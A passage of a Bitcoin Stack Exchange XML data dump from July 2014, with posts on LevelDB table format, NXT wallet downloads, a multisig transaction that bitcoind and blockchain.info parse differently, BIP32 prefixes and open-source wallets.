using&#xA;block_builder.cc and then optionally compressed.&#xA;&#xA;(3) A &quot;metaindex&quot; block.  It contains one entry for every other meta&#xA;block where the key is the name of the meta block and the value is a&#xA;BlockHandle pointing to that meta block.&#xA;&#xA;(4) An &quot;index&quot; block.  This block contains one entry per data block,&#xA;where the key is a string &amp;gt;= last key in that data block and before&#xA;the first key in the successive data block.  The value is the&#xA;BlockHandle for the data block.&#xA;&#xA;(6) At the very end of the file is a fixed length footer that contains&#xA;the BlockHandle of the metaindex and index blocks as well as a magic number.&#xA;       metaindex_handle: char[p];    // Block handle for metaindex&#xA;       index_handle:     char[q];    // Block handle for index&#xA;       padding:          char[40-p-q]; // zeroed bytes to make fixed length&#xA;                                       // (40==2*BlockHandle::kMaxEncodedLength)&#xA;       magic:            fixed64;    // == 0xdb4775248b80fb57 (little-endian)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;&quot;filter&quot; Meta Block&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;If a &quot;FilterPolicy&quot; was specified when the database was opened, a&#xA;filter block is stored in each table.  The &quot;metaindex&quot; block contains&#xA;an entry that maps from &quot;filter.&amp;lt;N&amp;gt;&quot; to the BlockHandle for the filter&#xA;block where &quot;&amp;lt;N&amp;gt;&quot; is the string returned by the filter policy's&#xA;&quot;Name()&quot; method.&#xA;&#xA;The filter block stores a sequence of filters, where filter i contains&#xA;the output of FilterPolicy::CreateFilter() on all keys that are stored&#xA;in a block whose file offset falls within the range&#xA;&#xA;    [ i*base ... (i+1)*base-1 ]&#xA;&#xA;Currently, &quot;base&quot; is 2KB.  So for example, if blocks X and Y start in&#xA;the range [ 0KB .. 2KB-1 ], all of the keys in X and Y will be&#xA;converted to a filter by calling FilterPolicy::CreateFilter(), and the&#xA;resulting filter will be stored as the first filter in the filter&#xA;block.&#xA;&#xA;The filter block is formatted as follows:&#xA;&#xA;     [filter 0]&#xA;     [filter 1]&#xA;     [filter 2]&#xA;     ...&#xA;     [filter N-1]&#xA;&#xA;     [offset of filter 0]                  : 4 bytes&#xA;     [offset of filter 1]                  : 4 bytes&#xA;     [offset of filter 2]                  : 4 bytes&#xA;     ...&#xA;     [offset of filter N-1]                : 4 bytes&#xA;&#xA;     [offset of beginning of offset array] : 4 bytes&#xA;     lg(base)                              : 1 byte&#xA;&#xA;The offset array at the end of the filter block allows efficient&#xA;mapping from a data block offset to the corresponding filter.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;&quot;stats&quot; Meta Block&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;This meta block contains a bunch of stats.  The key is the name&#xA;of the statistic.  The value contains the statistic.&#xA;TODO(postrelease): record following stats.&#xA;  data size&#xA;  index size&#xA;  key size (uncompressed)&#xA;  value size (uncompressed)&#xA;  number of entries&#xA;  number of data blocks&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5157" LastActivityDate="2014-07-08T21:32:29.630" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28375" PostTypeId="1" AcceptedAnswerId="28385" CreationDate="2014-07-08T22:57:28.883" Score="0" ViewCount="414" Body="&lt;p&gt;Where is the official site to download the NXT wallet app?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-09-07T09:48:21.030" Title="Which is the official site to download the NXT (nxtcoin) wallet app?" Tags="|wallet|nxt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28376" PostTypeId="1" AcceptedAnswerId="28406" CreationDate="2014-07-08T23:13:43.097" Score="0" ViewCount="638" Body="&lt;p&gt;I want to install a NXT wallet client/server on my ubuntu server so i can access it from my website. Where can i find instructions for this? And is there a way to change the port # for nxt? currently it 7876.&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-07-09T21:37:53.707" Title="Where can i find instructions on how to install a NXT wallet app on my Ubuntu server so I can access it via the web?" Tags="|nxt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28377" PostTypeId="1" CreationDate="2014-07-08T23:24:45.517" Score="0" ViewCount="1201" Body="&lt;p&gt;I'm interested in the following multisig transaction&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3a0c283c8574205c2cc95cea0e603bfff9087af2ab0360ebd2e98740a3193a18&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I query bitcoind for information about it using the following command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $&amp;gt; bitcoind getrawtransaction 3a0c283c8574205c2cc95cea0e603bfff9087af2ab0360ebd2e98740a3193a18 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then I see that two addresses are involved in its outputs, namely&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1HT7xU2Ngenf7D4yocz2SAcnNLW7rK8d4E and 1GcFhAQGFZVDAr4jiR2tKwisHcgNUjhGNC.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, if I look up this same transaction hash on blockchain.info, located here &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/3a0c283c8574205c2cc95cea0e603bfff9087af2ab0360ebd2e98740a3193a18&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/3a0c283c8574205c2cc95cea0e603bfff9087af2ab0360ebd2e98740a3193a18&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suddenly there are three addresses involved in the outputs, namely&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;17YnWEp2vjT1wEgALyy2BApY8CAMr78M7o and 1ADwCr1Ary8KX2i41MhQKL4TgkTRV6p14G and 1GcFhAQGFZVDAr4jiR2tKwisHcgNUjhGNC.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where did the 1HT7xU2Ngenf7D4yocz2SAcnNLW7rK8d4E address go, and what are these two new addresses? I have noticed this for most of blockchain.info's multisig transactions, can they not properly parse them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Here it the output I get when I run &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind getrawtransaction 3a0c283c8574205c2cc95cea0e603bfff9087af2ab0360ebd2e98740a3193a18 1&#xA;&#xA;&#xA;{&#xA;&quot;hex&quot; : &quot; &quot;,&#xA;&quot;txid&quot; : &quot;3a0c283c8574205c2cc95cea0e603bfff9087af2ab0360ebd2e98740a3193a18&quot;,&#xA;&quot;version&quot; : 1,&#xA;&quot;locktime&quot; : 0,&#xA;&quot;vin&quot; : [&#xA;    {&#xA;        &quot;txid&quot; : &quot;be041dbcf26c03e44853b48585c4a4ffe6a29a8bf33e6fc341cca2f3a256850a&quot;,&#xA;        &quot;vout&quot; : 0,&#xA;        &quot;scriptSig&quot; : {&#xA;            &quot;asm&quot; : &quot;3045022100c177dca01b7208feb04497d8948e832af7b12b5b74d1ff07db4a40c3782250b602205211a54941fe741e7220d90eda8ec75bb337b7ad7d8a9b0c40c614b2639cc37701 0336aa4df526a776e2b72512bb65d8ad5c661360cc1de2ffe460b618c0bba6641e&quot;,&#xA;            &quot;hex&quot; : &quot;483045022100c177dca01b7208feb04497d8948e832af7b12b5b74d1ff07db4a40c3782250b602205211a54941fe741e7220d90eda8ec75bb337b7ad7d8a9b0c40c614b2639cc37701210336aa4df526a776e2b72512bb65d8ad5c661360cc1de2ffe460b618c0bba6641e&quot;&#xA;        },&#xA;        &quot;sequence&quot; : 4294967295&#xA;    },&#xA;    {&#xA;        &quot;txid&quot; : &quot;0fa11650c73cd2522c7ecf2f6d7363d26d23c25cdc02630433ab588f4063d6ea&quot;,&#xA;        &quot;vout&quot; : 0,&#xA;        &quot;scriptSig&quot; : {&#xA;            &quot;asm&quot; : &quot;3045022100dc123d788fdc315f71df992a09d2f31237aadee954f0c7ed9ebf6676fde2806c022016f32f64109b92895ad35d6da1ad050fd1313e40092e51e222eed8cb9803277601 0336aa4df526a776e2b72512bb65d8ad5c661360cc1de2ffe460b618c0bba6641e&quot;,&#xA;            &quot;hex&quot; : &quot;483045022100dc123d788fdc315f71df992a09d2f31237aadee954f0c7ed9ebf6676fde2806c022016f32f64109b92895ad35d6da1ad050fd1313e40092e51e222eed8cb9803277601210336aa4df526a776e2b72512bb65d8ad5c661360cc1de2ffe460b618c0bba6641e&quot;&#xA;        },&#xA;        &quot;sequence&quot; : 4294967295&#xA;    },&#xA;    {&#xA;        &quot;txid&quot; : &quot;0be4e71854504e99b491424826722e65d3bc369f7687ccda72b80673da7226ab&quot;,&#xA;        &quot;vout&quot; : 0,&#xA;        &quot;scriptSig&quot; : {&#xA;            &quot;asm&quot; : &quot;3046022100f4eec08e55254dd3f1803c88b47bf4d0527af7b6d54d3c28300175ab2cf4cde6022100ea58b455294ca78bcca651b4031a0049c4b359834d6face1d87fe39c6ac9914e01 0336aa4df526a776e2b72512bb65d8ad5c661360cc1de2ffe460b618c0bba6641e&quot;,&#xA;            &quot;hex&quot; : &quot;493046022100f4eec08e55254dd3f1803c88b47bf4d0527af7b6d54d3c28300175ab2cf4cde6022100ea58b455294ca78bcca651b4031a0049c4b359834d6face1d87fe39c6ac9914e01210336aa4df526a776e2b72512bb65d8ad5c661360cc1de2ffe460b618c0bba6641e&quot;&#xA;        },&#xA;        &quot;sequence&quot; : 4294967295&#xA;    },&#xA;    {&#xA;        &quot;txid&quot; : &quot;fcacf93adb64540df1b730f3c9706ac9c3c8a86d7a14ce8752eb4c1a6eb7a6d9&quot;,&#xA;        &quot;vout&quot; : 1,&#xA;        &quot;scriptSig&quot; : {&#xA;            &quot;asm&quot; : &quot;3046022100ccb7797be4de4e6b890869fed98d2d66bfeb787fc3a10d9da4735688d2c1b3230221009dcff82c291fdb90ac15325a02073e52686addf8b0c25eb28dc8b410e8c3282901 0336aa4df526a776e2b72512bb65d8ad5c661360cc1de2ffe460b618c0bba6641e&quot;,&#xA;            &quot;hex&quot; : &quot;493046022100ccb7797be4de4e6b890869fed98d2d66bfeb787fc3a10d9da4735688d2c1b3230221009dcff82c291fdb90ac15325a02073e52686addf8b0c25eb28dc8b410e8c3282901210336aa4df526a776e2b72512bb65d8ad5c661360cc1de2ffe460b618c0bba6641e&quot;&#xA;        },&#xA;        &quot;sequence&quot; : 4294967295&#xA;    }&#xA;],&#xA;&quot;vout&quot; : [&#xA;    {&#xA;        &quot;value&quot; : 0.00007800,&#xA;        &quot;n&quot; : 0,&#xA;        &quot;scriptPubKey&quot; : {&#xA;            &quot;asm&quot; : &quot;1 0336aa4df526a776e2b72512bb65d8ad5c661360cc1de2ffe460b618c0bba6641e 20434e5452505254590000000a00000000d806c1d5000000039dc87f4000000000 2 OP_CHECKMULTISIG&quot;,&#xA;            &quot;hex&quot; : &quot;51210336aa4df526a776e2b72512bb65d8ad5c661360cc1de2ffe460b618c0bba6641e2120434e5452505254590000000a00000000d806c1d5000000039dc87f400000000052ae&quot;,&#xA;            &quot;reqSigs&quot; : 1,&#xA;            &quot;type&quot; : &quot;multisig&quot;,&#xA;            &quot;addresses&quot; : [&#xA;                &quot;1GcFhAQGFZVDAr4jiR2tKwisHcgNUjhGNC&quot;,&#xA;                &quot;1HT7xU2Ngenf7D4yocz2SAcnNLW7rK8d4E&quot;&#xA;            ]&#xA;        }&#xA;    },&#xA;    {&#xA;        &quot;value&quot; : 0.00007800,&#xA;        &quot;n&quot; : 1,&#xA;        &quot;scriptPubKey&quot; : {&#xA;            &quot;asm&quot; : &quot;1 0336aa4df526a776e2b72512bb65d8ad5c661360cc1de2ffe460b618c0bba6641e 1600000001000000005f5e100003e8000000000000000000000000000000000000 2 OP_CHECKMULTISIG&quot;,&#xA;            &quot;hex&quot; : &quot;51210336aa4df526a776e2b72512bb65d8ad5c661360cc1de2ffe460b618c0bba6641e211600000001000000005f5e100003e800000000000000000000000000000000000052ae&quot;,&#xA;            &quot;reqSigs&quot; : 1,&#xA;            &quot;type&quot; : &quot;multisig&quot;,&#xA;            &quot;addresses&quot; : [&#xA;                &quot;1GcFhAQGFZVDAr4jiR2tKwisHcgNUjhGNC&quot;,&#xA;                &quot;1HT7xU2Ngenf7D4yocz2SAcnNLW7rK8d4E&quot;&#xA;            ]&#xA;        }&#xA;    },&#xA;    {&#xA;        &quot;value&quot; : 0.00732450,&#xA;        &quot;n&quot; : 2,&#xA;        &quot;scriptPubKey&quot; : {&#xA;            &quot;asm&quot; : &quot;OP_DUP OP_HASH160 ab34b5c668a8ed435ede840b6f40e3eddb455c62 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;            &quot;hex&quot; : &quot;76a914ab34b5c668a8ed435ede840b6f40e3eddb455c6288ac&quot;,&#xA;            &quot;reqSigs&quot; : 1,&#xA;            &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;            &quot;addresses&quot; : [&#xA;                &quot;1GcFhAQGFZVDAr4jiR2tKwisHcgNUjhGNC&quot;&#xA;            ]&#xA;        }&#xA;    }&#xA;],&#xA;&quot;blockhash&quot; : &quot;000000000000000010fd711cae1e3069a90e657664872ff019f3544fe78f9284&quot;,&#xA;&quot;confirmations&quot; : 1166,&#xA;&quot;time&quot; : 1404255586,&#xA;&quot;blocktime&quot; : 1404255586&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;" OwnerUserId="17080" LastEditorUserId="17080" LastEditDate="2014-07-09T17:57:03.227" LastActivityDate="2014-07-09T17:57:03.227" Title="Escrow outputs show incorrect destination addresses in Blockchain.info" Tags="|blockchain.info|multi-signature|escrow|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28378" PostTypeId="2" ParentId="20172" CreationDate="2014-07-09T00:03:09.623" Score="3" Body="&lt;p&gt;Can you clarify whether you just need the ability to handle bitcoin-only transactions, or does your service need to be able to trade fiat currencies such as USD or EURO for bitcoins? If so, then you will need to invest in lawyers and find yourself a bank that is willing to extend you a loan, or supply your own funds to get it up and running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're only needing to deal with bitcoins transactions, then I would suggest you learn about how blocks and transactions work at a low level. This is a good site for learning the nitty-gritty of how the blockchain stores data&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codesuppository.blogspot.com/2014/01/how-to-parse-bitcoin-blockchain.html&quot; rel=&quot;nofollow&quot;&gt;http://codesuppository.blogspot.com/2014/01/how-to-parse-bitcoin-blockchain.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beyond that, understand how to set up a bitcoind server, and send JSON-RPC commands to it using the API explain here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you know how these commands work, you'll be able to build software that will accept payments. Again, if you need to get fiat currencies involved that's you'll have to deal with legal/regulatory concerns, but it is possible.&lt;/p&gt;&#xA;" OwnerUserId="17080" LastActivityDate="2014-07-09T00:03:09.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28379" PostTypeId="2" ParentId="28369" CreationDate="2014-07-09T00:21:56.687" Score="2" Body="&lt;p&gt;One of the benefits of cryptocurrencies that I recently heard at a Bitcoin Meetup that seemed very promising was how they lower the cost of remittances. I've heard remittances be defined as the act of returning a payment you previously accepted, and as the act of sending money across borders such as when immigrant workers earning income outside of their home country try to send money they earned back to their home country. The first definition of remittance benefits from cryptocurrencies because the Bitcoin protocol allows you to program money. Just like web technologies like HTML, CSS, and Javascript allow you to program the information that flows through the web, Bitcoin allows you to program how money flows through a financial system (whether that system be your immediate family, a school system, or a nation). If one could automate the return of payments when certain conditions are met, then much of the accounting apparatus that exists would not be needed. This is difficult to do, though. For instance, If you were a merchant that sold radios and you wanted to guarantee customers that they could return a radio they bought if the transmitter didn't work, how can you programmatically instruct 0.1 BTC to be sent to the customer when their transmitter breaks? You could write broken-transmitter recognition software, but then your remittance system is only as good as your recognition software. Nevertheless, the Bitcoin protocol let's the common person who has the necessary programming skills automate this general type  of service. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With regards to the second type of remittance, since the bitcoin network is made up of a bunch of connected nodes that exist all over the world, a computer with internet access is all someone from a migrant-worker-sending country would need to receive bitcoins from a family member working abroad. The industry for this type of remittance is in the 10's of billions, so people are waiting for the regulatory environment to become a little bit clearer before implementing services that do this sort of thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general I think bitcoin makes more sense for citizens in a developing country who don't have trusted organizations like exist in developed countries. If you live in a place where the government can arbitrarily freeze your bank accounts which holds your life savings, then Bitcoin offer the common person the ability to store their money in a trustless system where nobody can seize their value. Unless of course you divulge your private keys, or they physically come to your home and demand you give them your private keys.&lt;/p&gt;&#xA;" OwnerUserId="17080" LastActivityDate="2014-07-09T00:21:56.687" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28380" PostTypeId="1" CreationDate="2014-07-09T00:26:54.887" Score="4" ViewCount="3118" Body="&lt;p&gt;I want to make a BIP32 wallet for Namecoin and other alt coins. I just need to figure out how to generate a a public and private version number so that the BIP32 extended key prefix is something that makes sense like &quot;nprv&quot; for a Namecoin private key and &quot;npub&quot; for a public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Been struggling with this one&lt;/p&gt;&#xA;" OwnerUserId="18534" LastActivityDate="2019-07-20T22:37:30.930" Title="I want to generate a BIP32 version number for Namecoin and other altcoins" Tags="|altcoin|bip32-hd-wallets|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28383" PostTypeId="1" AcceptedAnswerId="29439" CreationDate="2014-07-09T06:22:24.447" Score="4" ViewCount="13798" Body="&lt;p&gt;Can anyone recommend any open source code for bitcoin wallet or any bitcoin applications or clients?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please posts links or samples of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you&lt;/p&gt;&#xA;" OwnerUserId="18535" LastActivityDate="2017-09-04T17:45:24.140" Title="Open source bitcoin wallet" Tags="|open-source|" AnswerCount="2" CommentCount="5" ClosedDate="2014-07-22T19:48:44.937" ContentLicense="CC BY-SA 3.0" />
  <row Id="28384" PostTypeId="2" ParentId="28383" CreationDate="2014-07-09T06:27:17.633" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoinarmory.com/download/building-armory-from-source/&quot; rel=&quot;nofollow&quot;&gt;Bitcoinarmory&lt;/a&gt; is open source&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://electrum.org/download.html&quot; rel=&quot;nofollow&quot;&gt;Electrum&lt;/a&gt; is open-source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.google.nl/webhp?sourceid=chrome-instant&amp;amp;ion=1&amp;amp;espv=2&amp;amp;es_th=1&amp;amp;ie=UTF-8#q=Open%20source%20bitcoin%20wallet&amp;amp;safe=off&quot; rel=&quot;nofollow&quot;&gt;Pick your like&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2014-07-09T06:27:17.633" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28385" PostTypeId="2" ParentId="28375" CreationDate="2014-07-09T07:20:23.953" Score="1" Body="&lt;p&gt;&lt;strong&gt;There is no the official site.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can download NRS (Nxt Reference Software) by following links from &lt;a href=&quot;https://nxtforum.org/nrs-releases/&quot; rel=&quot;nofollow&quot;&gt;https://nxtforum.org/nrs-releases/&lt;/a&gt;. If you trust Jean-Luc then just check the file checksum. If you don't then analyze the source code and compile it yourself.&lt;/p&gt;&#xA;" OwnerUserId="18526" LastActivityDate="2014-07-09T07:20:23.953" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28386" PostTypeId="2" ParentId="28377" CreationDate="2014-07-09T07:44:23.513" Score="0" Body="&lt;p&gt;First of all, it would have been easier if you pasted the &lt;code&gt;bitcoind getrawtransaction&lt;/code&gt; result, which is the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;hex&quot; : &quot; &quot;,&#xA;&quot;txid&quot; : &quot;3a0c283c8574205c2cc95cea0e603bfff9087af2ab0360ebd2e98740a3193a18&quot;,&#xA;&quot;version&quot; : 1,&#xA;&quot;locktime&quot; : 0,&#xA;&quot;vin&quot; : [&#xA;    {&#xA;        &quot;txid&quot; : &quot;be041dbcf26c03e44853b48585c4a4ffe6a29a8bf33e6fc341cca2f3a256850a&quot;,&#xA;        &quot;vout&quot; : 0,&#xA;        &quot;scriptSig&quot; : {&#xA;            &quot;asm&quot; : &quot;3045022100c177dca01b7208feb04497d8948e832af7b12b5b74d1ff07db4a40c3782250b602205211a54941fe741e7220d90eda8ec75bb337b7ad7d8a9b0c40c614b2639cc37701 0336aa4df526a776e2b72512bb65d8ad5c661360cc1de2ffe460b618c0bba6641e&quot;,&#xA;            &quot;hex&quot; : &quot;483045022100c177dca01b7208feb04497d8948e832af7b12b5b74d1ff07db4a40c3782250b602205211a54941fe741e7220d90eda8ec75bb337b7ad7d8a9b0c40c614b2639cc37701210336aa4df526a776e2b72512bb65d8ad5c661360cc1de2ffe460b618c0bba6641e&quot;&#xA;        },&#xA;        &quot;sequence&quot; : 4294967295&#xA;    },&#xA;    {&#xA;        &quot;txid&quot; : &quot;0fa11650c73cd2522c7ecf2f6d7363d26d23c25cdc02630433ab588f4063d6ea&quot;,&#xA;        &quot;vout&quot; : 0,&#xA;        &quot;scriptSig&quot; : {&#xA;            &quot;asm&quot; : &quot;3045022100dc123d788fdc315f71df992a09d2f31237aadee954f0c7ed9ebf6676fde2806c022016f32f64109b92895ad35d6da1ad050fd1313e40092e51e222eed8cb9803277601 0336aa4df526a776e2b72512bb65d8ad5c661360cc1de2ffe460b618c0bba6641e&quot;,&#xA;            &quot;hex&quot; : &quot;483045022100dc123d788fdc315f71df992a09d2f31237aadee954f0c7ed9ebf6676fde2806c022016f32f64109b92895ad35d6da1ad050fd1313e40092e51e222eed8cb9803277601210336aa4df526a776e2b72512bb65d8ad5c661360cc1de2ffe460b618c0bba6641e&quot;&#xA;        },&#xA;        &quot;sequence&quot; : 4294967295&#xA;    },&#xA;    {&#xA;        &quot;txid&quot; : &quot;0be4e71854504e99b491424826722e65d3bc369f7687ccda72b80673da7226ab&quot;,&#xA;        &quot;vout&quot; : 0,&#xA;        &quot;scriptSig&quot; : {&#xA;            &quot;asm&quot; : &quot;3046022100f4eec08e55254dd3f1803c88b47bf4d0527af7b6d54d3c28300175ab2cf4cde6022100ea58b455294ca78bcca651b4031a0049c4b359834d6face1d87fe39c6ac9914e01 0336aa4df526a776e2b72512bb65d8ad5c661360cc1de2ffe460b618c0bba6641e&quot;,&#xA;            &quot;hex&quot; : &quot;493046022100f4eec08e55254dd3f1803c88b47bf4d0527af7b6d54d3c28300175ab2cf4cde6022100ea58b455294ca78bcca651b4031a0049c4b359834d6face1d87fe39c6ac9914e01210336aa4df526a776e2b72512bb65d8ad5c661360cc1de2ffe460b618c0bba6641e&quot;&#xA;        },&#xA;        &quot;sequence&quot; : 4294967295&#xA;    },&#xA;    {&#xA;        &quot;txid&quot; : &quot;fcacf93adb64540df1b730f3c9706ac9c3c8a86d7a14ce8752eb4c1a6eb7a6d9&quot;,&#xA;        &quot;vout&quot; : 1,&#xA;        &quot;scriptSig&quot; : {&#xA;            &quot;asm&quot; : &quot;3046022100ccb7797be4de4e6b890869fed98d2d66bfeb787fc3a10d9da4735688d2c1b3230221009dcff82c291fdb90ac15325a02073e52686addf8b0c25eb28dc8b410e8c3282901 0336aa4df526a776e2b72512bb65d8ad5c661360cc1de2ffe460b618c0bba6641e&quot;,&#xA;            &quot;hex&quot; : &quot;493046022100ccb7797be4de4e6b890869fed98d2d66bfeb787fc3a10d9da4735688d2c1b3230221009dcff82c291fdb90ac15325a02073e52686addf8b0c25eb28dc8b410e8c3282901210336aa4df526a776e2b72512bb65d8ad5c661360cc1de2ffe460b618c0bba6641e&quot;&#xA;        },&#xA;        &quot;sequence&quot; : 4294967295&#xA;    }&#xA;],&#xA;&quot;vout&quot; : [&#xA;    {&#xA;        &quot;value&quot; : 0.00007800,&#xA;        &quot;n&quot; : 0,&#xA;        &quot;scriptPubKey&quot; : {&#xA;            &quot;asm&quot; : &quot;1 0336aa4df526a776e2b72512bb65d8ad5c661360cc1de2ffe460b618c0bba6641e 20434e5452505254590000000a00000000d806c1d5000000039dc87f4000000000 2 OP_CHECKMULTISIG&quot;,&#xA;            &quot;hex&quot; : &quot;51210336aa4df526a776e2b72512bb65d8ad5c661360cc1de2ffe460b618c0bba6641e2120434e5452505254590000000a00000000d806c1d5000000039dc87f400000000052ae&quot;,&#xA;            &quot;reqSigs&quot; : 1,&#xA;            &quot;type&quot; : &quot;multisig&quot;,&#xA;            &quot;addresses&quot; : [&#xA;                &quot;1GcFhAQGFZVDAr4jiR2tKwisHcgNUjhGNC&quot;,&#xA;                &quot;17YnWEp2vjT1wEgALyy2BApY8CAMr78M7o&quot;&#xA;            ]&#xA;        }&#xA;    },&#xA;    {&#xA;        &quot;value&quot; : 0.00007800,&#xA;        &quot;n&quot; : 1,&#xA;        &quot;scriptPubKey&quot; : {&#xA;            &quot;asm&quot; : &quot;1 0336aa4df526a776e2b72512bb65d8ad5c661360cc1de2ffe460b618c0bba6641e 1600000001000000005f5e100003e8000000000000000000000000000000000000 2 OP_CHECKMULTISIG&quot;,&#xA;            &quot;hex&quot; : &quot;51210336aa4df526a776e2b72512bb65d8ad5c661360cc1de2ffe460b618c0bba6641e211600000001000000005f5e100003e800000000000000000000000000000000000052ae&quot;,&#xA;            &quot;reqSigs&quot; : 1,&#xA;            &quot;type&quot; : &quot;multisig&quot;,&#xA;            &quot;addresses&quot; : [&#xA;                &quot;1GcFhAQGFZVDAr4jiR2tKwisHcgNUjhGNC&quot;,&#xA;                &quot;1ADwCr1Ary8KX2i41MhQKL4TgkTRV6p14G&quot;&#xA;            ]&#xA;        }&#xA;    },&#xA;    {&#xA;        &quot;value&quot; : 0.00732450,&#xA;        &quot;n&quot; : 2,&#xA;        &quot;scriptPubKey&quot; : {&#xA;            &quot;asm&quot; : &quot;OP_DUP OP_HASH160 ab34b5c668a8ed435ede840b6f40e3eddb455c62 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;            &quot;hex&quot; : &quot;76a914ab34b5c668a8ed435ede840b6f40e3eddb455c6288ac&quot;,&#xA;            &quot;reqSigs&quot; : 1,&#xA;            &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;            &quot;addresses&quot; : [&#xA;                &quot;1GcFhAQGFZVDAr4jiR2tKwisHcgNUjhGNC&quot;&#xA;            ]&#xA;        }&#xA;    }&#xA;],&#xA;&quot;blockhash&quot; : &quot;000000000000000010fd711cae1e3069a90e657664872ff019f3544fe78f9284&quot;,&#xA;&quot;confirmations&quot; : 1100,&#xA;&quot;time&quot; : 1404255586,&#xA;&quot;blocktime&quot; : 1404255586&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the above output there are three outputs which they seem to agree with blockchain.info.&#xA;Biteasy.com reports &lt;a href=&quot;https://www.biteasy.com/blockchain/transactions/3a0c283c8574205c2cc95cea0e603bfff9087af2ab0360ebd2e98740a3193a18&quot; rel=&quot;nofollow&quot;&gt;the same result as well&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you sure you are running the latest bitcoind?&lt;/p&gt;&#xA;" OwnerUserId="12525" LastEditorUserId="12525" LastEditDate="2014-07-09T10:06:15.683" LastActivityDate="2014-07-09T10:06:15.683" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28387" PostTypeId="2" ParentId="28377" CreationDate="2014-07-09T08:58:59.483" Score="1" Body="&lt;p&gt;Lets look carefully on &#xA;&lt;a href=&quot;https://blockchain.info/tx/3a0c283c8574205c2cc95cea0e603bfff9087af2ab0360ebd2e98740a3193a18&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/3a0c283c8574205c2cc95cea0e603bfff9087af2ab0360ebd2e98740a3193a18&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;output #0 is msig 1-of-2 to { 0336aa4df526a776e2b72512bb65d8ad5c661360cc1de2ffe460b618c0bba6641e, 20434e5452505254590000000a00000000d806c1d5000000039dc87f4000000000 }&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the first long number [0336..641e] is public key of address 1GcFhAQGFZVDAr4jiR2tKwisHcgNUjhGNC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the second [2043..0000] is not a public address at all. bc.i hashes it to an address 17YnWEp2vjT1wEgALyy2BApY8CAMr78M7o&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the address 1HT7xU2Ngenf7D4yocz2SAcnNLW7rK8d4E is hash160 ( 0000...0000 ) - invalid public key&lt;/p&gt;&#xA;&#xA;&lt;p&gt;seems to me that the client converts all invalid public keys to address 1HT7xU2Ngenf7D4yocz2SAcnNLW7rK8d4E&lt;/p&gt;&#xA;&#xA;&lt;p&gt;look 